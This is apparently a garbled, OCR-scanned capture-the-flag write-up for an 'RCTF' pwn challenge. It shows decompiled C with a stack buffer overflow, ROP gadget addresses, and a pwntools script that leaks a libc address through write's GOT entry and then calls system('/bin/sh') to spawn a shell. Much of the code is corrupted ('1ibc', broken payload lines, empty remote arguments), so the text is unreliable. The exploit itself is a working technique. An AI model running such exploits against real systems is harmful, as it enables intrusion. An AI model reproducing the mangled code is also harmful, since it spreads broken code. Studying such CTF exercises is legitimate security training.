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int _ cdecl main(int argc, const char **argv, const char **envp)

char buf; // [rsp+8h] [

write(l,

"Welcome to RCTFWN™, @x1@ull});

fflush(_bss_start);
read(@, &but, @x480uLL);

echo({_ inte4)&buf);
return 8;
}
echo()
int astcall ech inte4 al)
char s2[16]; // [rsp+1@h] [rbp-1@
for { 1 =@; *(_BYTE *)(i + al); ++i )
=2[1i] = *(_BYTE *)(i + al);
1_[1] = B‘
if ( !stromp("ROIS", s2) )

printf("RCTF{Welcome}", s2);
puts(" is not flag");

}
}

return printf("%s",

=2);
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Ox000000000040089C

0x000000000040089e

Ox00000000004008a0

0x00000000004008a2 : H

Ox000000000040089b : A 12 ; 13 ; 14 ; pop ri5 ; ret
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0x2 exp

from pwn import
from LibcSearcher import

context.log_level

start_addr=0x400630
gadget1=0x40089A
gadget2=-0x400880
pop_rdi_ret=0x4008a3
pop4_addr=0x40089C

sh=remote(

payload 24+p64(pop4d_addr)+p64(gadgetl)+p64(0)+p64(1l)+p64(write_got)
payload+=p64(8)+p64(write_got)+p64(1)+p64(gadget2) 56+p64(start_addr)
sh.sendlineafter( ,payload)

write addr=u64(sh.recv(8))

libc=LibcSearcher( ,write_addr)

offset=write_addr-1libc.dump( )

system_addr=1ibc.dump( )+offset

bin_sh_addr=1ibc.dump( )+offset

payload 24+p64(popd_addr)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
sh.sendlineafter( ,payload)

sh.interactive()
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